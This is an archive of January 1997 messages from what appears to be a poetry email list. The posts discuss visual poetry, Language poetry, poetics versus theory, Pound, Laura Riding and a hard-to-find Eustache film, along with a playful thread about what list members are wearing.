http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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90. henry gould

Re: visual stuff

Wed 8 Jan 1997

On Tue, 7 Jan 1997 19:13:03 +0600 KENT JOHNSON said:
>
>Or are we really speaking of a seamless continuum that we too
>easily split-up into expressive categories? For example, if we can
>have music with "just words" as John Cage showed,
>can we also have poetry "without words"? And what does it mean, and
>what purposes are served when we begin to call things by certain
>names? In
>calligraphy (the refined practice of it) there is supposed to be, as
>I can only barely understand it, a shimmering tension between
>linguistic sign and pure form that creates a brand new thing. Can we

>aspire toward something similar in spirit within the alphabet we
>inhabit?

Some people can certainly "read" paintings the way others read poetry. (& maybe vice versa). Iconography and emotion. & on yr last question, the makers of medieval illustrated books thought so (I saw the Lindisfarne Gospels for the 1st time at British Museum last year). - ~HG~

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91. Michael Boughn
Re: visual stuff
Wed 8 Jan 1997

> *names? In*
> *calligraphy (the refined practice of it) there is supposed to be, as*
> *I can only barely understand it, a shimmering tension between*
> *linguistic sign and pure form that creates a brand new thing. Can we*
> *aspire toward something similar in spirit within the alphabet we*
> *inhabit?*

Dave Chirot and I have been talking about Robert Grenier's recent work in very similar terms, right down to the unanswerable question(ing) (though Grenier's calligraphy would seem to push the whole thing toward the american, democratic rethinking of the aesthetic) (if not toward a reforming of penmenship programmes in the public schools!)

Mike
[redacted]

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92. Danny Huppatz
The Visual in Poetry
Wed 8 Jan 1997

Re: Charles Berstein's comments on the Visual in Poetry, I have been involved in a project for the last three years in Melbourne (Australia) that works as an intersection between visual & textual languages. It began as a regualar artist-run gallery but importantly included writers (poets, theorists, fiction writers) in all decision making & running of the space. Each exhibition of visual included at least two different written texts in an attempt to create some kind of "inter-textual space". It never really quite worked out as hoped, mostly because the audience were very much art world & so the written texts tended to be side-lined as merely "catalogue essays". Starting last year, I began inviting writers to produce installations in the gallery in an attempt to shift the textual further

into the realm of visual art. Some of these have been very successful & overall the project has produced much collaborative work between artists & writers (though now the boundaries are blurring). Also, a friend of mine (an art theorist) is preparing a collaborative installation with a visual artist as part of a philosophy conference to be held in Melbourne later this year. I think this kind of shifting of territories can help "deterritorialize" writing (or "poetry") while at the same time losening up other disciplines such as visual art or philosophy. Plus it also serves as a link that can bring different communities together.

Re what our correspondents are wearing: a blue batik shirt (unbuttoned) given to me by my grandmother years ago & a pair of boxer shorts i got for christmas with an image of a boxer dog & the words "down boy down" written all over them

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93. Loss Glazier
Re: The Visual in Language
Wed 8 Jan 1997

At 10:23 AM 1/6/97 -0500, Charles Bernstein wrote:

>Buffalo. Crucial, now (now is never "post" except in a secondary sense), in
>this respect (and so this is brings me to an directly respond to the
>question that is also floating around on the list) is poetry on the web, in
>which the visual dimensions are even more visible (they are always
>inescapable), for example choices of color, font and background, which many
>more writers are now confronted than in the past -- if not in HTML, then on
>their computers.

In this context, and in addition to Kenny G's home page, I highly recommend a look at the EPC Gallery (accessible from the EPC home page) where a number of interesting and varied visual works abound including work by Bernstein, Raworth, a long calligraphic work by Mike Basinski, and my own pressing-HTML-into-service kinetic works are on display.

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94. pollet
Mina Loy Art
Wed 8 Jan 1997

Thanks to Keith Tuma & Marisa Januzzi, who reminded me that there's a reproduction of Loy's "Communal Cot" in Last Lunar Baedeker, Conover 1982, plate 29. the detail in the Times showed only the central two figures in the top row.

Conover gives the dimensions as 27"x46 1/2". Sylvester Pollet, NPF Univ. Maine

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95. tmandel
Eustache film
Wed 8 Jan 1997

Ron or anyone else -- do you know where one can rent (or otherwise look at) "The Mother and the Whore" an extraordinary film I haven't seen in two decades. I have the idea that it may have somehow exited circulation.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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96. daniel_bouchard
Discourse & Theory, not sitting in a Tree
Wed 8 Jan 1997

Isn't it strange to think Pound was disturbed as recently as 80 years ago by "the thought of what America would be like if the Classics had a wide circulation?" Poor Pound in his troubled sleep, dreaming of beautiful lilies in the land of vulgar acorns. Did he think an ennobled civilization would come from a populace with access to (and presumably reading) the Greeks and Romans? And then this civilization would help transform the world into a better place as HE imagined it? Or would it just be a nicer place to hang out?

Pound must have thought his contemporaries were reading crap. I suppose the same could be said today. (Does this mean I share Pound's vision? And would that mean I have a future as a broadcaster in foreign land? Perhaps I could denounce a population for listening attentively to Jennings Rather Koppel without first having read Ben Bagdikian.)

I agree that there is a need for discourse about poetry. I prefer not to call it theory, not because it implies a sense of unity but because it implies abstractions independent of particular things. Can you equate discourse and theory? Not in my dictionary. Calling for discourse today is wise but implying that it may necessarily be an extension of recent theory, or a continuation of "langpo taken as a (problematic) given" is ludicrous.

Commence discoursing.

[redacted]

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97. Robert Archambeau
Re: The Visual in Language
Wed 8 Jan 1997

Those who have been following this thread might be interested to know that there will be a special issue of _Mosaic: A Journal for the Interdisciplinary Study of Literature_ devoted to literature and the other arts coming out sometime later this year (Sept. or Dec., I think). The journal is available at most university libraries.

You can also advance order a copy from their web site:

http://www.umanitoba.ca/publications/mosaic/sub.htm

Robert Archambeau

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98. David Bromige
discourse & theory
Wed 8 Jan 1997

perhaps this intriguing discourse has room for a slight piece of historical perspective. (I've just read Daniel Bouchard's latest posting, but i'm sure other postings inform my desire to respond here).

The poetics & poetry of The New American Poetry appeared to some of us to lead inevitably to NOT writing about one's practice. Only the poem cd be the ground, and if there were critical points to be made, let them be made within, and as, the poem."Writing about" was a secondary, and therefore dispensible, practice. This is certainly why I (who enjoyed writing criticism) dispensed with it for some years. I think it's also the case that Clark Coolidge and Michaels Palmer and Davidson abstained, a;lthough they might have granted interviews as time went by. I think i recall arriving at sd conclusions on my own but rehearsing them with m palmer early on. Later, there came to be a term (mfgd at New College?), "analytic lyric," which to my mind (altho an ugly phrase) cd be applied to my practice from the word Go, and to that of the others named above, plus many more besides.

The critique provided by L=A=N=Gpoets starting up in the early & middle 70s i felt (for the reasons given above) was mistaken. But coming to admire (at first, certainly, in the sense of "wonder at") their poetry, and getting to know them as

persons, I began therefore to assimilate what they had to say "about". I saw that (a) there work was sufficiently different to warrant such "aboutness" and (b), more importantly, that they had registered this: if you dont describe yourself, other, alien beings will do it for you. Once this penetrated at least my thick skull, with a sigh of "its dirty work, but..." I wrote some things that werent poems. Clark and M Palmer gave many more interviews. M Davidson wrote brilliantly about other poets in ways that also helped define for us what he's at in his poetry.

In the present, i find i'm much taken with (well, it's tout neuf to me) this listwriting. no doubt there will be those capable of abstracting theses from it and providing us with provocative books "about", and that will prove one kind of usefulness, but i enjoy it as the melee it is also. i'm glad for the appearance of company--its like new hampshire sans the third dimension. db

this a.m. i'm wearing the same pants, which btw turn out to be not navy but black, the same genre of sockwear,the same navy overshirt, but whats under it is changed: a one-size-fits-all Teeshirt defining "compendium" that they give you when you read at that London bookshop.

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99. amato
poetry, theory, discourse, etc...
Wed 8 Jan 1997

---

what has, from the beginning, attracted me to language poetry, is, as i thought and continue to think, here were some folks who were thinking...

however, i want to be sure to indicate just how presumptuous some of the exchange hereabouts might appear in the face of other poetic realities (and i'm not indicting or alleging or insinuating)... i mean, *my* posts too---i fret over this on a daily basis, each time my pinkies tickle these keys... there are lots and lots of (good and bad) poets for whom this list is a non-entity, for whom any number of poetic assertions in these spaces means absolutely zero...

in spite of this, and for my part, i *do* believe that this list, and places like it, represent the single most important 'event' in poetry and poetics in the past decade or so (even more important, as i see it and in the long term, than the popular proliferation of slam scenes)... now i didn't say "most worthy" or some such---i said "most important"... but the significance of such an event (as this list) is that it further distances the present moment from past moments in which one school -- language poetry or any other -- could lay claim to defining, cavalierly, the present moment...

which means that even my claim as to the significance of this list is subject to a scrutiny that it would hitherto not enjoy...

now, nobody is being cavalier about things, i know... and it is true that a small group of folks can exert an enormous influence in historical terms... but again, a list such as this provides a way to check the motivations (institutional and otherwise) behind such influence, or at least to challenge same... with a *relative* chorus of voices that no other forum "we" have at our disposal seems to tolerate, let alone facilitate...

in all, then: i find mself understanding, yet remaining somewhat uncomfortable with the ... proposal or provocation that some 'we' might now, almost premeditatedly, arrive at a new place for poetry/poetic---by, i assume, sheer force of will, insight, reach, what have you... a very seductive suggestion, but far as i've been able to ascertain, "we" have already arrived at a place (whether a measure of progress i cannot say) where contingency is understood in its fullest sense, and where the vagaries of history are permitted to play themselves out without our imposing, say, a neoclassical grid over same...

for those who get off on the oracular: as a poet, one can say, "we have arrived here," but best to say it, as i see it---*here*, not over there someplace (this is a liability that, in my more critical moments, i've sweated interminably)...

the logicians among you will note the (democratic) paradox ... here---i assert the intrinsic divisibility of a "place" in a peculiarly indivisible way... so (if i may): this place we're at, you and me and you and you and ..., would seem to be constructed upon an awareness of the tenuous nature of conceptual foreclosures... the conflicts that will likely be played out ("negotiated") wrt poetry and poetics will likely be played out on a day-to-day basis, as has pretty much always been the case... a list such as this foregrounds this actuality... which means that something new may well emerge, "we" may find ourselves someplace different, but that all's we can do is provide a ... climate conducive to same, to the enormous number of variables at work in our work ...

all of which is not to say that a woman's or man's reach should not exceed her or his grasp... but i just don't think the time is ripe for the muse to descend, draw one's inspiration where one may...

if, on the other hand, the... proposal or provocation is that we come together in a new or different way (for poets or writers, i mean) on the basis of shared political commitments (read "values" if you wish), even if we may find ourselves opposed in terms of our aesthetic commitments (read "values" if you wish), why then i'm all for it, speaking as a utopian (i.e., earthling)... by which i mean to suggest that the sorts of politics represented by our aesthetic practices should perhaps be more loosely, or more generously, constru(ct)ed than the politics we

bring to other (public) spheres (which assumes the active presence of at least TWO public spheres)...

declining, i think, though not reclining//

best,

joe

↑ Index

100. **Aldon L. Nielsen**
Re: clothes make de man
Wed 8 Jan 1997

Actually, Fish DID make that move earlier -- but since he did it at the MLA, rather than in the pages of a major mag, it didn't catch much attention nationally -- when asked by a befuddled audience member what he was going to do now that he had pronounced the death of theory, Fish told the assembled audience that he would return to his first calling as a Miltonist -- I invite you to read his subsequent books for insights on Milton --

David -- glad to see you here -- I'm still wearing the pajamas I donned when my fever shot over 103, but at this point, the fever having subsided, it's merely an affectation carried on in hopes of securing sympathy from my overworked wife -- Hope to see you on the coast soon --

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101. **maria damon**
Re: two men sitting in a Tree
Wed 8 Jan 1997

---

bouchard rites:

I agree that there is a need for discourse about poetry. I prefer not to call it theory, not because it implies a sense of unity but because it implies abstractions independent of particular things.--

i've been trying to work on this, not a "discourse" (at least i havn't called it this in my mind) but a workable vocabulary and "angle" of analysis that responds to poetries that are not easily recuperable as academic fetishes. thus i haven't really turned much of my attention to "language poetry" as such, but hav e, as marjorie pointed out in lastyear's corn skirmishes, paid close attention to some "language oriented" poetry and poets, such as spicer, stein, duncan and most recently, hannah weiner. this list has been central to my gathering information about weiner, and other matters; at the same time, it hasn't been as insightful about matters of popular and mass poetries, or folk poetry. this i attribute,

perhaps erroneously, to the legacy of modernist aesthetic judgment and the seeming necessity to exercise that judgment. i was on a panel at the recent "rethinking marxism" conference with amitava kumar and peter hitchcock, both of whom read their own work in the context of a post-marxist analysis of the role of poetry/rant/spoken word in creating useful oppositional consciousness. it felt good to be in that environment, where poetry is alive but also socially contextualized --not, as reductive stereotypes of marxism or cultural studies would have it, subordinated to the status of sociological evidence, but enhanced in their liveliness by acknowledgment and invocation of community reception and production. yum yum. it was cool. my own offering suffered from being undertheorized, and, as always when i invoke bob kaufman's name, technical snafus: the video screen wouldnt work. anyway, that's my 2 zence on poetic discourse. bests and happy new year, maria d

↑ Index

102. Mark Wallace

"*post lang theory and who's younger than you*"

Wed 8 Jan 1997

Actually, as Rod Smith and some others point out, there is already a fair amount of critical work being done by a variety of writers working on the variety of theories that might fall under the rubric "postlanguage" poetries, or just plan Poetry with a capital G (never could spell). The problem is not so much that this work does not exist but that the forums for its appearance are few and far between. WITZ and POETIC BRIEFS have been much involved, as have some issues of CHAIN and TEXTURE, and Ed Foster has also printed some articles with such concerns in TALISMAN.

So, again, what's at issue, really, is not so much the lack of such work, but the LACK OF A FORUM IN WHICH IT MIGHT APPEAR SO THAT MANY PEOPLE WILL KNOW IT IS THERE. Indeed I want to pick up on some of the implications of Ron Silliman's recent posts about capitalism, academics, and the disappearance of almost all resources for poetry, and note that resources and publishing venues for innovative criticism of poetry by writers in the generation following language poetry are simply not THERE, beyond the ear-to-the-ground, practically nonexistent budgets of the above publications (my apologies to Ed if Talisman is financially doing well--none of the others are). It would be EASY, at this time, to put together a book-length collection of critical essays regarding "postlanguage" issues--what's missing is not the work, but a PUBLISHER with the resources to make such a project happen.

At this time, of course, we're not even CLOSE to having any academic interest in this subject, beyond perhaps 3 or 4 individuals. Would it be good if

there was such interest? One thing I noticed about the MLA is that the English profession is still wrestling with the notion of whether language poetry EXISTS. It was astonishing how dumbfounded a contemporary academic audience was at Joan Retallack's excellent poetry reading--no one in the audience even DARED ask her a question afterwards, except those of us who already know her. I'll leave it to Alan Golding to say whether I really did overhear a young academic challenging him, after Golding's fine talk on Bob Perelman's work, to say what language poets have done that hadn't already been done by Marianne Moore--I like Moore's work, but somehow I don't think that's the point here.

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

103. Gwyn McVay
Re: "post lang theory and who's younger than you"
Wed 8 Jan 1997

Mark, in all fairness to that audience, she read a poem after "Icarus Fffff-falling"--I don't know the title, but it's from /Afterrimages/--in which the printed pages are divided in half vertically, and syllables from the top half are echoed in the bottom half. Given an audience that, almost by definition, isn't as familiar with her work as it ought to be, it seems natural that they'd have an easier time with that particular piece if they were seeing it on the page. Despite! despite! despite the fact that they ought to! etc.

Gwyn

↑ Index

104. henry gould
discourse of potatoes
Wed 8 Jan 1997

Something to keep in mind is that poetics (discourse,theory) not only tries to parallel & augment what's going on, but it also travels in a diametrically counter direction. The working writer has so much varied technique & subject matter to absorb & deal with that the result is WICKEDLY idiosyncratic & personal. Meanwhile the chat lists (print or email) on various levels try to glean

out what is done in common, what is characteristic, what is hip - always a group or grouping phenomenon!! Shucks, I ain't even gonna mention the... ZEITGEIST!!! (ie. as many in various contexts have pointed out, there are networks, & common approaches, & shared experience which are prerogatives for anything - see Jeff Hansen's essay in latest Witz on this - yet even within these networks nobody's gonna be interested unless it's NEW in some way, some new departure or crystallization. Each poem is like a successful equation or theorem...blahbiddy blah...) Anyway, whatever pre- or post- (come to think of it, these terms are really tied to a linear concept of time which may not be accurate) -theories are a-growing, they have to be built on a sense of poetry which opens up to what the individual artist is doing IN DEPTH. - Henry Gould

↑ Index

105. **Pritchett,Pat**

Re: discourse & theory

Wed 8 Jan 1997

Thanks for a great post, David. It helped to put things in perspective for me.

My only other comment is: I am wearing a dark blue t-shirt, a blue corduroy button down shirt (with button down collar) and which the tag advertised as "teal": a color I'd always thought of as more substantially green though my wife assures me I am wrong about this. Dark blue Lee's jeans, very warm socks, and brown Merrill hiking boots which, let us be frank, are "da bomb," and of necessity feature laces.

Patrick Pritchett

From: David Bromige
To: POETICS
Subject: discourse & theory
Date: Wednesday, January 08, 1997 12:53PM

perhaps this intriguing discourse has room for a slight piece of historical perspective. (I've just read Daniel Bouchard's latest posting, but i'm sure other postings inform my desire to respond here).

The poetics & poetry of The New American Poetry appeared to some of us to lead inevitably to NOT writing about one's practice. Only the poem cd be the ground, and if there were critical points to be made, let them be made within, and as, the poem."Writing about" was a secondary, and therefore dispensible, practice. This is certainly why I (who enjoyed writing criticism) dispensed with it for some years. I think it's also the case that Clark Coolidge and Michaels Palmer and Davidson abstained, a;lthough they might have granted interviews as time went by. I think i recall arriving at sd conclusions on my own but

rehearsing them with m palmer early on. Later, there came to be a term (mfgd at New College?), "analytic lyric," which to my mind (altho an ugly phrase) cd be applied to my practice from the word Go, and to that of the others named above, plus many more besides.

The critique provided by L=A=N=Gpoets starting up in the early & middle 70s i felt (for the reasons given above) was mistaken. But coming to admire (at first, certainly, in the sense of "wonder at") their poetry, and getting to know them as persons, I began therefore to assimilate what they had to say "about". I saw that (a) there work was sufficiently different to warrant such "aboutness" and (b), more importantly, that they had registered this: if you dont describe yourself, other, alien beings will do it for you. Once this penetrated at least my thick skull, with a sigh of "its dirty work, but..." I wrote some things that werent poems. Clark and M Palmer gave many more interviews. M Davidson wrote brilliantly about other poets in ways that also helped define for us what he's at in his poetry.

In the present, i find i'm much taken with (well, it's tout neuf to me) this list-writing. no doubt there will be those capable of abstracting theses from it and providing us with provocative books "about", and that will prove one kind of usefulness, but i enjoy it as the melee it is also. i'm glad for the appearance of company--its like new hampshire sans the third dimension. db

this a.m. i'm wearing the same pants, which btw turn out to be not navy but black, the same genre of sockwear,the same navy overshirt, but whats under it is changed: a one-size-fits-all Teeshirt defining "compendium" that they give you when you read at that London bookshop.

↑ Index

106. **DS**
wearing
Wed 8 Jan 1997

nothing

↑ Index

107. **Charles Alexander**
Re: wearing
Wed 8 Jan 1997

one horizontally striped cotton shirt, blue & gray, short sleeves
over a long-sleeved plum tee-shirt (it's chilly here)
blue jeans, sonoma brand, cheaper imitation of levi's
speckled socks and saucony running shoes

contemplating changing ear ring for the first time
in more than a year to what looks like a hopi
red blue and white with black lines and dot

↑ Index

108. Charles Bernstein

Re: Language in the Visual //Pound & the classics

Wed 8 Jan 1997

>I think this kind of shifting of
>territories can help "deterritorialize" writing (or "poetry") while at
>the same time losening up other disciplines such as visual art or philosophy.
>Plus it also serves as a link that can bring different communities together.
--writes Danny Huppatz

I certainly find your project of great interest, but have to report, from a strictly New York point of view, that there is an unfortunately strong barrier between writers who foreground the visual dimension of their work and visual artists using verbal language in their work. The crossover points are artificially narrow: not that the folks coming out a poetry context aren't engaged with the visual artists who use words, but that the "art world" tends to ignore the "poetry" in its representation of this whole field of activity, focussing almost exclusively on figures whose base-of-operation is the art world. I would love to see a discussion of Lawrence Weiner linked to a discussion of Robert Grenier, but if that were to happen I bet it would be someone on this list who would write it and another on this list who would publish it. That's all well and good. But interesting to note lines where lines exist. (I realize that this is something that Wystan Curnow and Marjorie Perloff have both written about and worked to change; and I think also of Mary Ann Caws's lecture on Ian Hamilton Finlay and Tom Phillips at the MLA, both of whom are counter-examples of cross-over figures. Also Susan Bee and Mira Schor's special issue of New Observations, "Ripple Effects: Painting and Language", about about which I recently posted an announcement.) Thanks, Mike, for mentioning Grenier, someone whose work is often on my mind. I should have added him to the list I made in response to Ron Silliman's post on the visual in language, although, speaking of the 70s, I would have been thinking of Sentences, his radical refusal of the bound book in favor of a Chinese box containing texts printed on large-format index cards; or possibly his instance on nonproportional space type, as in A Day at the Beach (an insistence that echoes Duncan's). However, in recent years, his remarkable series of color handwritten poems have fundamentally challenged the stability of the alphabetic code, bringing the page as field of verbal investigation closer to, or overlapping with, drawing: a sort of holographic attention similar to Susan Howe's reading/viewing of Dickinson's mss. By the way, my list in my

post was not a comprehensive list of poets doing "visual" work but a specific response to comments of Ron. In any case, I was glad to hear from Miekal And as his and Liz Was's work is quite relevant: many wonderful books etc. But I am sure they, and others like Karl Kempton, could well report something within "poetry" that I am speaking about within the "art world", and this was Charles Alexander's point I believe: poets primarily identified as visual poets publish and exchange work in relatively separate networks than poets doing work close to that but not primarily identified with the "visual". However, here there are MANY crossover points, such as And and Was's Xexoxial and Charles Alexander's own Chax. But often the projects are considered quite separate, even if parallel.

****

and one more note --

> *: [redacted]*
> *Subject: Discourse & Theory, not sitting in a Tree*
>
> *Isn't it strange to think Pound was disturbed as recently as 80 years ago by "the thought of what America would be like if the Classics had a wide circulation?" Poor Pound in his troubled sleep, dreaming of beautiful lilies in the land of vulgar acorns. Did he think an ennobled civilization would come from a populace with access to (and presumably reading) the Greeks and >Romans? And then this civilization would help transform the world into a better place as HE imagined it? Or would it just be a nicer place to hang out?*
>
> *Pound must have thought his contemporaries were reading crap.*

But surely, of the many things Pound wrote that would make this point, this is an odd poem to choose. It's one of Pound's most sarcastic poems. As the note in Personae frames it -- The "learned judge" in a censorship case says he would allow an obscene reference in the classics that he would not allow in popular reading, since the readers of the classics are "comparatively limited [in] number" and I think by implication less likely to suffer the ill effects of such images and representations. And Pound's poem in the reply to that ... saying in effect that if that classics had a wild circulation they arouse the populace to a sexual high, not heighten their sensibilities (though I woulnd't necessarily won't to separate those two).

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109. Chris Stroffolino
Historically Riding Bernstein
Wed 8 Jan 1997

Dear Charles--thanks for the paragraph quote from your intro.
which I am looking forward to almost as much as the Riding book. Since I am

impatient to dialogue, however, I will risk "wrenching" the paragraph you quote out of context to ask some questions....

The idea of historicizing "The Wind, The Clock...." is
fascinating. Her address to the "lone survivors on paper"
does seem to suggest a kind of WASTELAND as a backdrop.
And she did write about how she had turned to poetry
as a kind of shelter. Such a reading certainly avoids the pitfalls
of "self-choked falsity" or a kind of reading that would
deign to be dragged down into the kind of relationship with
a certain kind of reader the poem seems to posit as well
as criticize, one who would see "self-choked falsity"
as an imagined reader-as-follower, or even a flattering
(conjuring) of the critic who wants to be flagellated.
From one perspective, this could be seen as a disclaimer
of "personal responsibility":

(we all gather around NOTHING.
NOTHING is what keeps us together.
I am telling you I am telling you nothing.
Therefore this "nothing" you may tell me I tell you
may also be history, or may make you wish to
TURN to hisotry, where the answers, my friend,
are blowing in the wind no less than here--
no matter how hard "I the story" may try to
become history)

I.e. You seem to read her as saying "the story" is "history"

Now the Oppen connection (which McGann tried to establish
as well) is also interesting.....

Riding's politics moved in an opposite direction as
Oppen? In what sense do you mean this? There's an
implication that Oppen's leftism and his return to
poetry are related, while Riding's attempt to critique
certain aspects of poetry from a seemingly genreless
perspective may invoke a kind of "rightism?"
Are you implying that Riding's "voiceless telling"
does away with "poetic turning?"

Back to the question of the HISTORICAL CONTEXT
(the HOLOCAUST, etc.)....

Has the historical context changed?
Against the backdrop of the unameable atrocities
of today. If the poet is to think globally

and see (if not imagine) the human forces that
seem to move history more than are moved by history
and if we assume that history means POWER
and carries an authority poetry doesn't
and that poetry may wish to claim
but can only do so by killing
for history is a club more easily admitted to
by killing (of course, when a poet says "kill"
the poet may mean kill history and its hierarchies--
chief among these the hierarchy over poetry....
the way it lies like poetry, or only speaks the truth
when disguised as poetry (or a dictionary for that
matter).
Then there's the kind of poetry that "contains history",
I mean history as history, as if to find the HUMAN there
Today, of course, there are more inclusive notions of
history in circulation...but are they wide enough to
contain poetry without threatening their status as
history?
Or there is literary history....
(sylvia Playth is, in many interpretive circles,
criticized for her reduction of the horror of Nazi
Germany to a Freudian "family romance"
while others are said to be "in denial" about
the "personal as the political"
from a certain persepctive, history becomes a
friendlier context, or habitation....
a way to make use of one's hell
(Why bother, as Perelman wrote, except already
bothered).....
There is a crack in the world (Waldman), not just
in me. The historical world. We are no longer to
be duped by the possibility that one can actually
solve one's problems (Hence the oppen quote about
fantasies and savagery), or become an
"integrated personality"
(FREUD being the OPIATE of the "middle classes"
--or of the proletariat basking in their own fat
of linguistic, conceptual confusion that mistakes
themselves for the "middle class"--another example
of doublespeak that attests for the need for
Riding's dictionary)....

A book that purports to be about "the mind" or
"language" or "the possible" may "really" be about
the historical wall the author bangs her head up
against----or the historical wall poetry had this
"nasty habit" of helping you forget to bang your
head against. Remember it. Fight it.
But don't fight fighting,
Or don't beg begging
Lest history hush you home to silence,
considering what kind of hearing you'll get.
(this is not "me" speaking)
But things change.
There USED TO be a left (as Ron reminds us).
Now there isn't.
Hope used to be "realistic."
Yet nothing is realistic until real
and nothing is real until history says it is(by killing it).

There are many contexts. Many HISTORICAL contexts, even if we choose to operate linguistically within the workroom (or play pen) of history,

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110. Maria Damon (Maria Damon)

Re: wearing

Wed 8 Jan 1997

---

mandel writes:

blue button-fly levis bought too small when I went on a diet and told
>myself to fit into them or suffer the kantbequenchedness
>
>brown leather belt from telegraph ave. artisan (now back to a
>previously well-worn hole: it's a start)
>
>blue plaid flannel shirt over golden state warriors tee shirt
>(nostalgie de la boue)
>
>$6.99 quartz watch acquired at 18th/K in DC. Copies $800 Tag Heuer
>chronograph (file under "Theory")
>
>Fleece vest from stepson's closet (cold basement office)
>
>wool socks: wear'em year 'round. they keep you warm or cool as

>required.
>

looks like most of you guyz...dress like cowboys. tho' wearing black jeans (ll beans size 8 petite, the only kind i've found that fit) myself today, plus pale pink turtleneck handmedown, thick lopi-yearn sweater knit by my sacred mother, and silver earrings from an indian friend. trying to find a nice way to dress for school this quarter.--md

↑ Index

111. Maria Damon (Maria Damon)
brannen
Wed 8 Jan 1997

---

anybody got jonathan brannen's e- and/or phone #? jonathan, are u stil on the list?
md

↑ Index

112. Maria Damon (Maria Damon)
Re: wearing
Wed 8 Jan 1997

> *Maria D. writes, "looks like most of you guyz...dress like cowboys."*
>
> *I haven't heard anyone mention any cowboy boots. And I live where cowboys live, and one wouldn't be caught without her boots.*

ok ok, i ment the jeans, which, as i sd before, are still referred to in denmark as cowboy-pants.
>
>I think we're talking more of a grunge look here, one some of us have been
>sporting for 20 years or more

funny i never thot of u as a grundge type, more whole earthish.
>
>although we do dress up now & then, one way or another
>
>charles

↑ Index

113. Bil Brown
Re: wearing
Thu 9 Jan 1997

Or what you are smelling of

"No ideas but in things" -- WCW

Bil

↑ Index

114. Bil Brown
Re: how we are smelling
Thu 9 Jan 1997

Incense. Incest. The smell of a room, with a cold (a WOMB, *SNIF*). and not to sound too popular or undernourised... with a view. Breached becomes BLEACHED, only in reference to Nirvana and a dead boy popularized almost as the Buddha, half-hoping, half-dead. Half joking when the time comes to smell again.

Bil

(This Thread is getting Silli,man)

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115. Ward Tietz
Version Box
Thu 9 Jan 1997

I picked up a "Version Box" yesterday at the Saint-Gervais Center for video, computer-generated art and theater which I thought might be of interest to some people on the list. It's a limited edition catalogue/souvenir box, with work in English, French and German, from the participants of the month-long series of conferences and exhibitions on electronic literature and computer-aided/multi-media art that was held at Saint-Gervais in June. The box contains various objects, a CD-ROM and individual Mac/PC diskettes containing Michel Butor's "Immateriel pour un Don Juan", Robert Kendall's "The Clue", Philippe Bootz's "Icone", Jean-Marie Dutey's "Interface is Message", among others.

Those interested in obtaining a copy can contact Simon Lamuniere at the Saint-Gervais Center. Addresses are listed below.

Saint-Gervais Geneve
5, rue du Temple
CH-1201 Geneva

Switzerland
Tel. ([redacted]
Fax ([redacted]
e-mail: [redacted]
http://www.sgg.ch

The price of the box is $70, plus $10 postage.

Here's a full list of the contents:

Anthony Aziz / Sammy Cucher : Ozymandias(C)
Patrice Baizet : polystirene expense (1,9 X 9,2 X 8,4)
Jean-Pierre Balpe : un roman (extrait)
Joachim Blank : Username: box Password: community
Jean-Louis Boissier : Bifurcation 2
Philippe Bootz : Icone
Urs Breitenstein : Il sole visto
Michel Butor / Ambroise Barras : Immateriel pour un Don Juan
Jean-Marie Dutey : Interface is message
Ceal Floyer : staple / agrafe / ALLEMAND
Rainer Ganahl : Shut down
Valery Grancher : meaning
Herve Graumann : ~20 punaises / thumbtacks / ALLEMANDs
Laurence Huber : Casita (photo)
Felix Stephan Huber / Philip Pocock : arctic circle
Robert Kendall : The Clue
Eric Lanz : manuscrit
Marko Lehanka : jouet / toy / Spielzeug
Christine Meierhofer : wire.objects
Guenther Selichar : Who's afraid of blue, red and green ?
Wolfgang Staehle / The Thing : Space Claim
Herwig Turk : vergessen(C)

Ward Tietz

↑ Index

116. Miekal And
wearing / smelling /signifying
Thu 9 Jan 1997

---

attire: zebra patterned drawstring pants, purple long sleeved shirt, me boot which I never tie (Im the one who started that fashion in the 70s you know).

smell: potting soil, spinach quiche, aviary residue, with a patina of offic smell

signification: Ive been potting plants, fixed spinach quiche for the crew & did my weekly chore of cleaning my bird room while Im sitting in the office writing about it.

miekal who could never get up the gumption to adopt the "charles bernstein casual look"
--
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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117. Ron Silliman
Jean Eustache
Thu 9 Jan 1997

Tom,

I wish that I did. Eustache, who was one of Godard's and Truffaut's assistant directors for much of his career, died in his early 40s from cancer, so didn't build up a body of work that ever got marketed as such. I know that he made at least one other feature, although I never got to see it. But maybe somebody has gathered films starring Jean-Pierre Leaud (sp?).

There are a couple of film catalog type places around (one out of Chicago if I recall). In fact, didn't you have one lying around your house in Delaware last fall? I think that Jesse spilled some juice on it.

Both Siskal and Ebert have web sites. Maybe one of them has tips on how to find hard-to-get films. I would sort of expect that.

I must have seen that film 3 times, maybe 5. The scene in which the nurse runs off and J-P follows her and the 3rd woman lies on the mattress on the floor and just listens to a long Piaf number on the record player all the way through was a great lesson to me that I've carried over in my poetry (or tried to), about how art can modulate time and how one feature of great art is to s l o w i t d o w n.

The first time I saw that film I identified with the J-P character totally. The last time, I thought he was an insufferable, narcissistic pig.

I asked Eustache once why the flat owned by the woman who ran the boutique was so devoid of adornment on its walls. It was the one feature in that film that made it seem "unBerkeley," if you know what I mean. He replied that they didn't have money even for posters.

Ron

>
>Date: Wed, 8 Jan 1997 09:05:58 CST
>From: [redacted]
>Subject: Eustache film
>
>Ron or anyone else -- do you know where one can rent (or otherwise look at) "The Mother and the Whore" an extraordinary film I haven't seen in two decades. I have the idea that it may have somehow exited
>circulation.
>
>Tom
>
>
>**********
> Tom Mandel * 2927 Tilden St. NW
> Washington DC 20008 * [redacted]
> vox: [redacted] * fax [redacted]
>**********

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118. Miekal And
Re: Language in the Visual
Thu 9 Jan 1997

Charles Bernstein wrote:

